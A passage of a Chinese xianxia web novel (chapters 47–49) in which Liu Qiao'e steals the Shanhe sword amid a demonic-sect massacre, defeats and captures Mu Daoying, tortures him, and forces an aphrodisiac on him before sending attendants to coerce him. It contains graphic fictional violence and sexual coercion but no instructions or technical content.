身体急坠之间,詹真人遽然变色:“清虚!你!” “掌门!!”在场游剑阁弟子也纷变了脸色,正欲冲上前回援,刘巧娥却已趁着众人注意力尚在清虚詹真人之间时,踏过铁链,直逼近山河剑! 第47章 第 47 章 摘的可是慕道长这朵花?…… 春台问道, 游剑阁弟子几乎倾巢出动。 沈澄因也被安排了护卫门中安保,拱卫典礼太平之责。 当众人的关注度被引向詹真人时,唯独她最先留意到刘巧娥动向。 “不妙!山河剑!”沈澄因抬起脸, 一声断喝,御剑腾空而起。 众人这才后知后觉意识到, 这是声东击西之计。 可为时已晚。 其实,游剑阁的护卫训练也算有素,反应也算敏捷, 经由沈澄因一提醒, 很快便维持住了秩序,分了一批人马冲去救剑。 可他们还没近到铁索前,人群中便响起一片片的惨叫痛呼。 漫天的鲜血如血鸦般扑簌簌飞起。 隐藏在观众之间的合欢宫、魔门弟子霎时发难, 手起刀落, 顷刻间,山林染红, 血肉飞溅。 尚未来得及反应过来的游剑阁弟子, 就这样被斩于剑下,一命呜呼。 而这时,刘巧娥的指尖已经触及到了剑身。 詹真人被清虚阻拦,宋华容又是个胆小怕死, 明哲保身的。这道场便再无一人能阻拦得了她了。 山河剑发出嗡嗡的剑鸣, 将锋锐的剑气不断抛撒而出。 这剑气冰寒刺骨,足可切肤断骨。 她倒也不惧剑气侵蚀, 运转全身的灵气包裹掌心, 抬手一摄,只见那贯穿天地的巨剑,剑身急速缩小, 眨眼间便成三尺三寸的寻常长度。 沈澄因见了,愈发心急如焚,拼命摇动剑光。 正在这时,一道缥色身影快她一步,及时挡在山河剑之前,阻住了刘巧娥的去路。 沈澄因一颗心几乎快跳出了嗓子眼里。 是宁瑕!- 慕道瑛一心想要寻求刘巧娥的过往,哪里会料到会有今日之变? 因他一直时时刻刻留意着刘巧娥,倒成了场中第一个觉察出她动向的人。 就在刘巧娥飞向山河剑的同一时间,慕道瑛不假思索,紧随其后,纵身而出! 他虽不知这场中局势怎会急转直下至此,却也知晓此间的利害。 山河剑是圣君遗物,魔门虎视眈眈,绝不容有失! 这世上有许多事,比之人间情仇爱恨更加重要。 再一次见到那道清瘦,孤弱的淡青色身影,不知死活地挡在自己面前。 刘巧娥积累了满腔的怒气终于爆发。 慕道瑛!! 他怎敢?! 他怎敢如此不知死活! 刘巧娥面色霎时阴沉如水,收回触剑的手,反手射出血罗刹。 血罗刹怒含千钧杀意,急击慕道瑛肩头! 锵! 当空一串火花划过。 慕道瑛同一时间掣出“逢春”,硬生生接下了这t?一击! 时隔多月,这是逢春又一次重现于世人眼前。 出剑刹那,春风化绿,桃林染红,男子那道淡青色的身影,仿佛也化作了一竿青竹,牢牢扎根于磐石间。 在血罗刹狂风暴雨般的威压之下,随风狂摆,任尔东西南北风,也不减其坚劲。 分毫不让! 剑招相接刹那,磅礴剑势顺着五脏六腑直入体内,慕道瑛浑如被千钧重锤砸了一下,砸得眼冒金星,双耳嗡嗡,五脏震荡。 沉重的威压,逼得他不得不倒退了一步,唇角被震出鲜血。 可很快,他便又稳定了身形,乌黑的的眸子望定了刘巧娥的双眼,退了一步之后又缓缓迈出了两步! 刘巧娥见他面色苍白如雪,清秀眉眼蕴一缕坚韧不拔之色,不退反进,怒火愈发高涨。 就是这样的人,以这该死的,纤弱的姿态,一次又一次顽强地破坏了她的计划! “当日未曾要你性命,今日反倒来送死?!” 那股剧烈的威压仍在体内交荡不已。 慕道瑛微微抿唇,强忍痛楚,硬生生咽下将到嘴边那一口鲜血。 刘巧娥方才那一招并未收力。 疼痛令慕道瑛的指尖不住地颤抖,他顿了顿,深吸了一口气,生生忍了下来,重又缓缓握住剑柄。 青竹身影转瞬成湘妃泪竹斑斑。 血气翻涌,五脏欲碎。都抵不过一颗心直入冰窖一般的寒意。 张唇,只成两个字。 “为何?”- “为何?” 短短两个字,也支离破碎,语不成调。慕道瑛唇瓣颤了颤,缓缓地又问了一遍。 不知到底是在问刘巧娥,还是在问自己。 为何这一切会发展成眼前这般模样?! 灵元身死,他已认清了自己将要做尽这个不肖之徒了。他无法恨她,尤其是得知小茅岭与云山的往事之后,他再也无法恨她了。 他想要查清楚这块空白。 他想要了解她的过往。 他想,造成这一切的根源到底还在清虚,他跟刘巧娥之间,仍是有可转圜,可商量的余地的。 他想要跟她把话好好说清楚, 可为何,她偏偏又在这个时候做出杀人夺剑的事。 眼角余光,瞥见下方地面那一场血色的屠杀。 数不清的修士在倒下,他们不过是前来观战的无辜弟子,却沦为了这些魔兵魔将的刀下亡魂! 魔门功法奇诡,抽筋拔骨,枭首剖腹,手段之残忍,令人耳不忍听,目不忍睹。 若说灵元之死,慕道瑛尚且能留给自己说服解释的余地,可下方这些普通的游剑阁弟子又何其无辜! 慕道瑛终于感受到一股锥心之痛!一颗心渐渐被失望填满,下沉。 他微微合眼,眉间掠过一点难以掩饰的惊怒。 “你跟魔门!” 原来如此。 既如此,那一切便都解释通了。 她跟魔门原来早已暗通款曲,从一开始她求取“春简”,参加春台问道,便是为了博取仙盟信任,以待今日! 倘若当真如此,那宿雾城中,灵元身死,她到底又主动参与几分? 刘巧娥怒道:“便如你所见!” 她目光不偏不倚,如钉子般直勾勾射入慕道瑛的心肺,惊起一阵痛不欲生。 她从未见过慕道瑛如此冰冷急怒的神色,直到这时,他清润的眼里这才荡过一抹清楚的痛恨。 自从决定做出这一切起,刘巧娥便已做好了跟他分道扬镳的准备。 她目光向下,瞥见男人苍白枯瘦指尖,因为隐忍而鼓起一道道的青筋。 她有些好笑,唇角露出个讥嘲的弧度,“我说过,下次见面,用‘逢春’杀我。” 慕道瑛的呼吸都仿佛冻住了。 她明知道,他不舍,他如何狠心对她动手? 可刘巧娥并不给他优柔寡断的时间。 “若你不杀我,便是我杀你!” 刹那间,莲花飞出,刘巧娥的身形被包裹在莲瓣之间,箭射而出。 慕道瑛咳出一口血沫,匆匆举剑应对,可刘巧娥却只是虚晃一招。 鼻尖掠过女人乌黑盈香的发,擦肩而过的刹那间,刘巧娥五指曲张,朝山河剑抓去。 慕道瑛脸色大变,提剑去拦。 怎奈刘巧娥根基强他无数,动作更快一步,已稳稳将山河剑纳入掌心。 慕道瑛见状,只能改变作战方式,剑光漫天,交织成网,拦她去路。 “慕道长就这么舍不得我走?”她目含讥讽,百般调笑激怒。 他抿紧了唇,面色冷冰冰的,不言不语,愈发显出几分冷沉的愤怒。剑出如风,足点如雨,剑光如水银泻地,连绵不绝。 二人在足踏铁索,三言两语之间,便已交手百招。 刘巧娥稍稍有些意外,慕道瑛竟能在她手下坚持走过这么多招。 明明两个月前,他还是那副根基破损,柔弱不堪的模样。 两人打着打着,便顺着铁索,跃上了附近那为今日春台问道修建的百尺高楼- 罗那吉这次派出的魔将,其修为并不亚于三大家宗门长老,天上,地下,法宝往来,宝光交织,战况胶着成一团。 有人挺身而出,有人逃之夭夭。 这时,终于有几个幸运儿杀出了重围,跃上了楼顶驰援。 但还未施展动作,便被刘巧娥毫不留情,一一打落。 她早年得圣君功法残页,合欢功法阴阳并行,运转无碍。 常人山河剑到手,通常受制于那冰寒煞气,可她丹田内息与山河剑一脉相契,甫一入手,略略适应,便可自由指挥,如臂指使。 如今她手握山河剑,傲视群雄,场中谁人又能奈她如何? 便是慕道瑛,只要她想,足可让他毙命死绝。 可她并不想这样干,因为这还是她第一次见慕道瑛如此沉郁愤怒。 他素性温柔,外冷内热,连本命剑都叫做“逢春”,剑招也一向是春风化雨,春水滟滟般不争,不抢,以柔之胜刚,弱之胜强坚。 可如今这一江滟滟春水,也成怒浪号天,沧海奔流之势。 因为鲜见,刘巧娥宛如瞧见个什么奇景似的,心中好笑。 少女时总幻想慕道瑛追逐在她身后,猛烈示爱,如今追着她打又怎能不算梦想成真? 将这样温润如玉的人逼到这样濒临崩溃的地步,对她来说,竟成了一种莫大的快1感。 她嘴里愈发混不吝地说着。 慕道瑛却好似打定了主意,绝不肯再同她多说一个字,任由她百般调笑,也抿唇不言。 刘巧娥裙角飞扬,足尖轻点,将琉璃瓦片踩得哗啦啦直响。 在慕道瑛追上她的那一瞬间,她一脚猛踹他膝盖。看似女儿家嗔怒嬉笑的一脚,实则暗蕴万钧之力,若是寻常人定然膝骨粉碎。 慕道瑛侧身一闪,便是只被那余风扫过,也不由双膝一软,皮开肉绽,身形晃了晃,眼看就要失去平衡。 慕道瑛的身影却忽然一折,一飘。 宛如春风中的一片柳叶,极轻,极柔,以其柔弱莫争的姿态,随余风而动,缓缓降下。 刘巧娥哪里肯见他好过,他足尖方触地,她便冷笑一声,鬼魅一般飘至他身后。 他微微蹙眉,回手劈去,却被她反拂开掌风,两人又噼噼啪啪徒手过了十几招。 双掌如春风缠花,飞燕逐柳。 终于,让刘巧娥觑准一线空隙,按定他双肩,将十成十的内力统统灌注于他体内,将他双膝生生砸在瓦上,沉沉按了下去! 喀拉拉! 琉璃瓦碎,破碎的瓦片深深扎入慕道瑛的膝盖,他双膝下沉,被她这一按,足足坠入三层屋檐。 他还未来得及半空中调整坠落的姿态,又被刘巧娥揪住衣领,甩回楼顶。 因这一场激烈,慕道瑛再也站不起身。趔趄着跪倒,青衣染血,道冠也跌落,乌发散落了下来。 刘巧娥目光一转,直接取下悬挂在楼顶的那支碗口大的牡丹。 层层叠叠的花瓣如红绡裁剪而成。 葩叠萼重,蕊攒黄粉,灼灼花光,艳如烂烂朝霞,一如眼前冰雪姿容的美人,含怨薄怒。 “昔年,我也曾向往过你们楼台摘花时的少年风流。” 她轻慢地用花枝抬起他的下颌。 因为愤怒,慕道瑛眉眼生动,更逼出惊心动魄的倾城艳色。 冷极,峭极,艳极。 重重花瓣,在那冷滟滟的横波目下也为之黯然失色。 刘巧娥用那牡丹轻轻抽打他颊侧, “未曾想今日倒也让我体验了一把楼台摘花的风流。” “摘的可是慕道长这朵花?” 第48章 第 48 章 逍遥喜春散 慕道瑛听她越说越不像话, 见她t?姿态如此轻慢荒唐,不由闭上眼,别过脸, 不去瞧她。 刘巧娥也不以为意,正要收牡丹入袖。 倏地! 身后破空之声袭来! 回眸见沈澄因面色冷冽, 挺剑向她急刺! 同一时间,她身前亦闪过一道雪亮剑光。 沈澄因,赵言歌, 不知何时终于突破重围, 跃上楼顶,一前一后,将她合围, 刺她前胸背心。 原本打定了主意不跟她白费口舌的慕道瑛, 却在此时不得不睁开眼。微微变了脸色。 他唯恐他二人受刘巧娥的迁怒,不由微露急色, “咏章、阿因!” 可就这点攻势, 如何能被已手握山河剑在手的刘巧娥放在眼里? 她心里微怒冷笑,“找死!” 掌心山河剑放出道道剑气!自四面八方同时打向二人! 山河剑剑气如雪华漫地,所过之处,瓦檐草木纷纷凝结出森寒冰晶, 沈澄因, 赵言歌不得不仓促间调转攻势,应对冰寒刺骨的剑气。 正当这时, 他二人眼前一花, 程洵的身影一闪而过,已挡在他们面前,及时阻住他们的去路。 “二哥你让开!”刘巧娥倏道。 程洵一向是最无条件服从她的, 什么也没问,便让出了去路。 刘巧娥甩出血罗刹,血光一闪,如两匹红练横空而去! 慕道瑛担心二人出事,强提起真气,跌跌撞撞向前,却又气力不继,一摔在地。 赵言歌跟沈澄因刚翻上楼顶,便遇到刘巧娥发难,仓促应对。 他二人也算东华界天之骄子,在那红练面前竟如初入道的稚童一般。 血光伸缩自如,一连暴涨,便成一道血幕,环绕两人身侧将两人围住。 这血幕光滑又坚韧无比,兵器触之,毫无损伤。不过一缠,一裹,一拉,一扯,两人便被裹成个茧,带回刘巧娥身边。 刘巧娥腾空而起,一手一个,掐住两人脖颈, 慕道瑛惊痛怒极,终于开口:“你到底想做什么?!” 刘巧娥没有说话,只缓缓收紧了掌心。沈、赵二人登时露出窒息痛苦之色。 眼看她就要生生捏碎二人喉骨—— “我答应你。”青年冷静的嗓音乍向。 慕道瑛倏地说,他嗓音不高,也不急促,却有种令人安定下来的奇异的平静, 刘巧娥手微微一顿,奇异瞧去。 慕道瑛微微合眼,脸上露出浓浓的疲惫倦色,仿佛他已经无法承担更多了。 他低声下气,卑微而恳切地说:“什么要求,我都答应你。” “还请老母……”袖中的指骨捏紧又松开,成苍白而虚弱的几个字,“放他们两个。” 赵言歌跟沈澄因眼里同时有泪。 刘巧娥目光闪动,默默不言,似乎在衡量这个交易是否合算。 隔了一会儿,她松卸了指尖的力气,却没放开他们两个。 仍是将二人高高提起。 “你以为我会问你要什么?” 刘巧娥淡淡笑了。 “让你伺候我吗?” “慕道瑛,你是个君子不是?” “我不是。”慕道瑛淡淡说,“对你有私心,我不是。我若是君子,就绝不会爱上你。” 刘巧娥呼吸一滞。 复又冷冷一笑,“慕道长为了救自己这两个好友还真是煞费苦心。” 慕道瑛看着她,没有再纠正。 刘巧娥:“你是个坚定万物如一,心怀大爱的君子,今日……” “我倒想问问你,你这两位好友之间只能活一个,你选谁?” 慕道瑛瞳孔猛然收缩! 她恨极了他皎如月华,普照万物的风姿。 刘巧娥想,当初宿雾城中她已经说得足够清楚,从此桥归桥路归路,各不相干,可他偏偏又来招惹她。 今日,今时,这个地点,又勾扯出她心中最深处的隐痛! 当她不知道,他、沈澄因、赵言歌他们当初在宿雾城时私下的勾连吗? 竟背着她算计到她上去了,这笔账她还没跟他们算,他们倒好,竟又撞到她面前来! 一想到,他们三人背地里是如何议论她。 她曾经战战兢兢,小心翼翼,沾沾自喜的爱,成了他三人之间的谈资 又成为他们谋划着用来对付她,给他下药的武器。 一想到自己的情爱,被赤裸裸敞露人前……她便恨恨地咬紧牙尖,双颊逼出一团愤怒的嫣红。 慕道瑛无法做出抉择。 赵言歌、沈澄因同他多年至交,自幼情同手足。 所谓手足,便是离了任意一块肢体,都不能成行,难以生活。 更遑论,人之性命又岂能被放在天平上任意称重? 他抿紧了唇,紧盯着她,“你若恨我,尽可斩我双臂,断我双足。” “何必牵连无辜?” “我偏要牵连无辜!”刘巧娥高声截断他。 “慕道长似乎不想选?” “不想选,我来帮你选如何?” 她指尖轻轻在赵言歌白皙的脖颈间游戏。 赵言歌只觉仿佛被一条冰冷的小蛇缓缓摩挲,忍不住打了个哆嗦,他涨了张口,还想再说话。 却被刘巧娥猛然扼住喉口!当下呼吸不畅,憋红了脸。 “是选你这位同门好友?” 她另一只手抚向沈澄因喉口,将她又高高提起半寸,“还是你这位红颜知己?” “停下!”慕道瑛终于忍无可忍。 沈澄因浑身发颤,“他不必选!” 她嗓音也在颤抖,语气却很坚定,“我会帮他选。” 言毕,丹田内灵气飞快涌动汇聚,刘巧娥立刻意识到了沈澄因到底想干什么。 她想要自爆丹田。 她当然不会遂她心意,真见她枉送了性命。 冷哂一声,指尖在她脉门连点数下,封锁住她全身大脉,将人重重丢到了瓦面。 这时,慕道瑛忽然动了,他足下一踏,身合长风,飞身向前。 刘巧娥以为他是来抢沈澄因,提着赵言歌向前急奔了几步。 然而,慕道瑛却没管瓦面上的沈澄因。 他的目的是—— 她?!刘巧娥怔了一下,瞳孔微微放大。 一时没有防备,竟被他近到上前!他突然擒她手腕,趁她转瞬即逝的空隙,将赵言歌从她手中甩出! 她勃然变色,没曾想,终日打雀,反被家雀啄了眼。 伸手去抓。 他去顺势捋带她右臂,将她纳入怀中。 她愣了一下,大吃一惊。他这是做什么?疯了不成? 可须臾之间,她意识到了不对劲。天地之间的灵气正飞快地向慕道瑛体内汇聚! 二人头顶,顷刻间便排开铺天乌云! 他容色冷若冰霜,双手死死地抓她双臂,紧紧搂她,不容她挣脱。风吹动他乌发,男人微微闭目,清润眉眼间掠过一点决绝之色。 这决绝,仿佛是要跟她共赴黄泉的决绝。 仿佛是,若不能拦她今日滥杀无辜,那便一起死。 他二人同入无间! 这个疯子!要死他自己死,她才不要跟她一起死! 可是太快了!经过铸剑之后,他将自己天生剑骨的身躯也变成了一柄剑。 剑骨是天道的恩赐,其他修士豁命一搏或也如蚍蜉撼树,难以撼动高阶修士的性命根本。 但慕道瑛这利用剑骨,贯通天地灵气,毁剑灭身,玉石俱焚的极招,足可跨越两境的修为,杀伤刘巧娥的性命。 慕道瑛显然方才便已下定决心同死,指尖自触她腕骨起,灵气便已经在他体内汇聚。 伴随轰然一声巨响! 山河摇动! 冲天灵气自他体内爆出,凝成一柄贯彻天地的巨剑虚影!重重向二人头顶斩下! 当此危急之时,另一道身影毫不犹豫纵身跃入!- 巨剑虚影启动的刹那,慕道瑛心神摇动,眼睫颤了颤,到底还是睁开了眼。 人死之后,会是什么样的光景,是从此之后归入虚无,还是真入了黄泉冥府,没有人能说得上来。 若是从此之后,当真归入了无知无觉的虚伪,慕道瑛忍不住睁开眼,仍想再看她一眼。 这明显是个错误的决定, 因为对上她的视线,他清楚地瞧见了她眼底浮现出的那很细微的恐惧。 那一瞬,他怔了一下,感到细微的不忍。 也就是这短暂的一愣,给自己带来了灭顶之灾。 刘巧娥抓住了这一瞬间的疏漏,山河剑夭矫如龙,一闪而过,洞穿了他的丹田!也切断了丹田内不断汇聚的灵气。 无处可去的灵气仍爆发了出来,但程洵的奋不顾身,催动灵气形成了一道防护罩,挡在她面前,替她挡下了绝大部分的爆炸余波! “二哥!”刘巧娥惶白了脸色,颤抖着双手接住程洵重伤的身躯! 程洵闭着眼,伤得很重,失去了意识,全身软绵绵的,仿佛筋骨都断折了, 这是她的男宠,她的t?家人,也是她的哥哥。 她捧着他的身躯,感到悔,感到恨。恨自己儿女情长。 她看也没看,被同样被爆炸重伤的慕道瑛。 慕道瑛的状况也仅仅只比程洵好一点,他的右手软绵绵地垂落下来,左脚断折,白骨支出血肉。 唇角不断咳出混着脏器碎肉的鲜血。只是因为他是剑阵的主人,这才规避了一部分的伤害。 他抬眼,望向远处怀抱着程洵的刘巧娥,身体的疼痛又如何抵得过心上的痛楚。 可悲的是,今日是他做出这一切,连妒恨的余地也没有。 终于,她缓缓放下程洵,意识到了还有他的存在。 可眼里,闪动着的,却是第一次,切切实实,彻彻底底的痛恨。 他微闭上眼,心如槁木,准备迎接她的愤怒仇恨。 正在这时,底下的魔将终于结束了混战。 刘巧娥并不记得这魔将姓名,只知道他是罗那吉的心腹,是个干练的个性,其修为并不逊色于三大家任何一家的长老。 那魔将飞上楼顶,对她颔首说:“来不及了,先撤。” 说完,左手臂扭曲成兽爪模样,朝天轻轻一挥,施展魔门撕裂空间的秘法,将蔚蓝色的天空撕开一道浅浅的口子。 刘巧娥先将程洵送入裂隙,这才来到他身边,拽起他长发,如拽一只破麻袋一般,拽起他残破身躯,一同跃入天边的裂缝之中- 砰! 慕道瑛眼前一阵天旋地转,已被重甩在地。 左腿支出的白骨磕在碎石路面,在尘埃碎石间用力一划,反刺入血肉更深,发出令人牙酸的声响。 慕道瑛呛咳出鲜血,还没来得及理顺气息。就被刘巧娥按住肩头,山河剑直直扎入他肩头,剑尖伸进去搅了搅,生生剜去一大块的血肉。 一条长长的沉重锁链,穿过血洞,锁住他琵琶骨。 剧烈的疼痛令慕道瑛汗如雨下,昏昏沉沉几乎失去了意识。 恍惚间,他如一条死狗一般被人拖拽在地。 到底被拖了多久,他也记不清了。 只透过耳畔隐约的重重叠叠的交谈声,依稀判断出这是回合欢宫的路上。 刘巧娥带着程洵先乘飞舟赶回了胥梦泽,留下几个合欢宫弟子,将他绑在马后,沿着峻峭山路一路拖回去。 他手臂大腿被地面碎石灰土磨得血肉模糊,可见森白臂骨。 青衣染尘,氤出大片血迹。 可这折磨还没完,等进入了胥梦泽的地界,才是真正的噩梦,可见骨肉的伤口被泡在大泽滩涂泥沼间,不断化脓,腐烂。 等被拖回合欢宫时,慕道瑛已近乎死了过去。 他被丢入一间漆黑的,无人问津的暗室关了三日。 第三天,刘巧娥才终于现身人前。 暗室的门被打开,阳光争先恐后地从门扉间灌入。 他蜷缩在墙角,手臂软绵绵地垂下,口中不断沤出鲜血,见她小矜矜,俏生生逆光而立。 语气却森寒,脸上掠过一抹阴沉。 “倘若他出事……” “你也不需活了……我送你给他陪葬。” 慕道瑛知晓她说的“他”是谁,他心如刀绞,却再也流不出一点鲜血了。 点点头,默认了她的处置。 又咳出几口鲜血,吃力问,“他如何了?” 刘巧娥面上一阵阴晴不定,隔了一会儿,才道:“医师还在看。” 慕道瑛缄默片刻,须臾才又虚弱开口,“二老爷之事,我很抱歉。” “收起你的惺惺作态。”刘巧娥厌恶地说。 慕道瑛面色微微一白。 门又被合上。 光线在他眼底消失,他怔怔地望着那残存的微光。 他知晓,程洵如今死生不知,她定恨透了他。 只是木已成舟。 昔日二老爷待他不薄,他纵再后悔将无辜如他之辈牵涉其中,却也无法令时光倒转。 慕道瑛微微阖眸,将头脸靠在冰冷的墙壁上,阴冷的触感直入大脑,拨去大脑因疼痛而昏聩的迷雾。 思绪缓缓下沉,一点点复归清明。 痛吗? 似乎是很痛的。 但痛得多了便也麻木了,一切尚可忍耐。 暗室漆黑,被关了数日,却足以令他想清楚许多事。 当日,见她联合了魔门,在游剑阁大肆屠戮无辜弟子,他一时怒火攻心,乱了方寸。 等回过神来,那被他忽略的疑点便又一一浮现脑海。 刘巧娥与魔门的联合,明显由来已久,早在宿雾城之前。 可如今细细回想,他仍不愿意相信,她是这样的人。 毕竟,当初在任家村里,她对凡人的关切爱护,是自己亲眼目睹,绝做不得假。 做这样的假,于她毫无益处,又有什么意义?若真想取信于正道,也该当跟他们站在同一条战线。 慕道瑛默默咀嚼之前被自己忽略的细节。 他如今也只能如此了。 再度沦落为刘巧娥的阶下囚,他打又打不过她,所能做者甚少,只能尽力探一探她的态度。 她想来,本性是不坏的。 她为何会联合魔门,也是有待追究的事。若能挖出个中隐情,或许便能改变局势,改变他二人今日僵局。 慕道瑛就这样在脑海中推演着前路,又度过了三日。 他必须令自己的大脑运转起来,才不至于去想她,去想程洵,去深究那些,被他刻意忽略的,令他不过略略一想,心脏便泛起尖锐痛楚,牵连到呼吸,肝肺的感情。 好似生生咽下一块火炭,烧得他肠穿肚烂。 那样,他会疯的。 他用冷静跟理智,将自己飞快包裹,让他在面对刘巧娥的到来时,仍能维持故作的体面姿态。 她说,程洵的伤势好了一些。 他愣了一下,心底绽开一点浅浅的惊喜,又碍于如今身份,不知说什么,只默然点点头,道,“那太好了。” 刘巧娥冷道:“你该庆幸,你捡回一条命。” “我本想杀你,是他拦下了我。” 他顿了一下,涩声说,“那瑛过后还要谢谢二老爷……” 他对上她冷嘲的视线,再度顿了顿,“……可、好?” 他如今,浑不知要以什么的姿态来谈论程洵,他伤势好转,的确是感到欣喜的,却又从欣喜中品尝到一股,唯有自己才能了解的酸涩隐痛。 恐怕他如今说什么,在她眼底都成惺惺作态罢? 慕道瑛不想再提程洵了。 他知晓她如今已彻彻底底厌了自己。 既如此,厌得深一点,浅一点,又有什么干系。 明知接下来的话会再度引起她的厌恶,慕道瑛仍低声问了,“老母,是一早便投靠了魔门了吗?” “这不是你该打探的问题。”刘巧娥冷冰冰地说,眼里果然又闪过更深的厌恶。 慕道瑛缓缓深吸了一口气,仍固执问:“老母当真要跟魔门联合,返魂灯,山河剑,接下来便是溯世镜……放出魔祖……” “彼时天地之间浊气上扬,那时,象征混乱、杀伐的魔气将压过清气,占据世间。 “天地反覆,灾害频发,兵戈不止,人世间又将回到从前那混沌、无序的状态。” “铠甲生虮虱,万姓以死亡……”慕道瑛低低地念,“白骨露於野,千里无鸡鸣……” “老母当真愿见这样的世界吗?” “这跟我又什么干系?!”刘巧娥冷冷道。 “因为我不相信。”慕道瑛打断她,目光澄平,静静盯着她瞧望,仿佛要看穿她的五脏六腑,“我不相信,那个谈起新米陈米之差,对凡人多加关切爱护的刘巧娥,会眼见魔气占据这片天地。” “彼时,就连修士也难修炼生存,更遑论无辜百姓?” “巧娥。”慕道瑛顿了顿,试探着开口问,“你是否有什么苦衷?” “我……若有什么苦衷,不妨同我说……” 啪! 他话音未落,颊侧便狠挨了一掌! 刘巧娥抽手,冷冷道:“你算什么东西?” 慕道瑛平静地捱了一掌,面色不改,仍抬起眼。 他眉目是很柔和的,眼里寂寞而多情,但漆黑的眼珠却定定的,逼紧了她,“老母,我知晓,你不是那样的人,若有任何——!” 啪! 他的话语戳中她内心深藏着的隐痛,刘巧娥顿有些失了方寸的慌乱。 不等他说完。她裙摆飞扬! 快走了几步,一把卡住他下颌,反手又是一掌。 迫使他抬起脸来,冷声道:“比起担心这天下,你倒不如多分些精神担心担心自己。” 慕道瑛唇角淌下一缕血渍,静静与她对望半晌,仿佛要看穿她的虚弱,他柔和反问:“老母,又有什么处置呢?” 他竟还敢这样看自己?! 他的t?目光清透,如春日浅浅的薄冰,刘巧娥却好似被他整个人从头到脚,从里到外都侵犯了,看遍了。 她怒极之下,灵光一现,反倒嫣然一笑。 冰冷眉眼,犹如寒冬中怒放的白梅,摄人心魄。 “听说大梦丹是贵派之宝,道长当初给我用,倒是有些暴殄天物了。” 慕道瑛一怔。 他问心有愧,便再也维持不住方才迫人的冷静。 忍不住抬起眼,目含痛惜:“巧娥——” 刘巧娥打断他:“本座也理当投桃报李,让道长尝尝我们合欢功至宝‘逍遥喜春散’的滋味。” 慕道瑛微一惊,已觉不妙,下意识想闪躲,可刘巧娥却牢牢钳他下颌。 迫使他张开两瓣肉红的薄唇,喂他吃下一颗碧莹莹的豆大药丸。 第49章 第 49 章 你也喜欢的 慕道瑛一颗心直坠了下去, 多希望这药不是自己所想的那般,可很快,身体的反应, 却打破了他那点微末的希冀。 他浑身开始发热,双颊也渐渐泛起一股不正常的媚红。 他唇瓣微动, 视野中她的身形也渐渐出现了重影。 小腹仿佛滚过一团火焰,慕道瑛剧烈地喘-息着。 他望她小巧巧的身影,心里倏地升腾起一股强烈的渴望。 他强忍住立马想要将她扑倒在地, 抚摸她乌黑的长发, 将她整个都藏在自己身下。 他强烈地想要侵1犯她。 他强忍住这样的冲动,汗水浸透了道袍,指尖抖若筛糠, 大脑一片空白, 只能感受到外界被放大的所有的声响,动静。 每一寸肌肤上传来的触感。 突然, 一只冰凉的小手轻轻地抚过他的唇瓣。 “别咬。” 别、咬?慕道瑛吃力地运转着已经卡壳的大脑, 有些迷茫地喃喃重复。 别咬什么? 刘巧娥捧着他下颌,细细端详着他。 慕道瑛的长长的眼睫,如被水沾湿了双翅的蝶。 越努力张开翅膀,便越沉重得难以起飞, 他乌黑的眼里泛着濛濛的水雾, 眼神也失去了焦距。 原来,他不知不觉间, 已经将嘴唇咬破了。 雪白的齿尖, 抵着两瓣被鲜血染成樱红的薄唇。 他趴在地上,微微扬起脸,隐约雾气下的瞳仁, 愈发显得深黑。 他只顾一眨不眨,深深看她,毫不掩饰对她的渴望。 “巧娥。” “巧娥。”他喃喃,吃力地向着她的方向爬了一步,被汗水浸湿了的长发,凌乱地贴着皙白的肌肤,像是刚爬上岸,还不会用腿的海妖。 刘巧娥有点僵硬在原地。 她何时见过慕道瑛如此赤衤果的视线。如果眼睛也能够做些什么的话,她早被他从头到脚侵1犯遍了。 她的心跳不禁有些慌乱,打雷似的,一拍快过一拍。 可她并没有满足他,她用力将他推开。 背心重重撞在墙上的痛楚,令慕道瑛稍微恢复了点神志,冷汗一下子便铺满了脊背,惊得胆丧魂飞,痛得肝肠寸断。 他不敢相信,刘巧娥竟会做出这样的事来。 他想要开口质问,却只能瞧见她微有些仓促,惶乱的脚步。 她丢下他,慌慌张张,快步出了暗室。 走出暗室,刘巧娥尚觉心有余悸。不住长长吐息了几次,转身望向那早已准备好的十几个美人。 合欢宫素来便有豢养美人用以待客的传统,这些美人多从弟子中遴选,有“瑶台逸女”之称。 她心里泛起一阵隐约的,很浅淡的心痛。 不过是些不值一提的占有欲,她心里反复告诫自己。 不可再松动,反覆。 慕道瑛既如此待她,她必定百般辱之! 她望向为首的那美人,冲她轻轻点了点头。 再侧身向暗室里的男人丢下一句话, “慕道长,春宵一刻值千金,好好享受本座为你打造的温柔乡,销魂窟罢。” ……他不解其意,但欲望重又占据了大脑。 汗水顺着额发没入眼睫,流进眼睛里,辛辣、刺痛。 他眼前什么也看不清了,听到脚步声,还以为是她去而复返。 慕道瑛忍不住唤她:“巧娥——” 他渴慕着她,如焦渴的旅人渴慕菩萨的玉露,伏在地上不自觉向她的方向爬了两步。 一双柔嫩如藕的双臂将他扶起。 慕道瑛动情之际不禁反手握住她的手! 可下一秒,他便如被个惊雷劈了,怔在原地,面色煞白! 这……这不是她的手。 她的手没有那么柔滑,她吃过许多苦,受过许多伤,掌心有茧,虎口有疤。 慕道瑛浑身酸软,全身迭出虚汗,用尽全身力气,才将这人推开。 喘息着冷声问:“你……你谁?” 那人还没说话,又一双柔软的手臂缓缓自他身后攀他肩头脖颈。 幽香阵阵,吐气如兰:“慕道长,老母吩咐咱们来伺候你。” 慕道瑛面色大变,颤抖双手用力一挣! 才踉跄挣出,又有具馨香柔腻的身躯跌坐他怀中。 “道长,很难受吧?是不是很痛苦?” “不必忍耐,将自己交给我们便好。” 一时间,四面八方,传来阵阵女子如铃般娇笑,群魔乱舞,如天魔在侧,光怪陆离,莫可名状。 慕道瑛抿紧了唇角,汗水顺着乌墨鬓角淌落,“……烦请诸位道友 ,让开。” 可任由他如何推拒,也拂不开那一道道如水蛇般扭曲缠绕的躯体。 他罕见了怒气,额角暴起青筋,咬紧牙关,下颌弧度紧绷如刀。 “……滚开。” 女子的小手已如小蛇一般探入他怀中。 他见说不通她们,索性闭上眼。 一颗心如坠冰窖,汹涌的欲望如潮水般飞快褪去,慕道瑛气得浑身发颤,于冰冷中生出一股难得的,泼天的愤怒。 令他恨不得将刘巧娥拖到自己面前,质问: 她怎可,怎可如此! — 刘巧娥不太确定慕道瑛大概要花上多少时间才能成事。 他是个童男子,又元1阳未泻。 合欢宫弟子最爱与他这样的童男子双修,龙精虎猛,阳气精纯,一次抵十次。 这十来个人,怎么也要花上一天一夜的时间。 她就要见他跌落进泥潭里,要见他再不情愿,再难堪,再痛苦,也不得不坠入欲海情波中的模样。 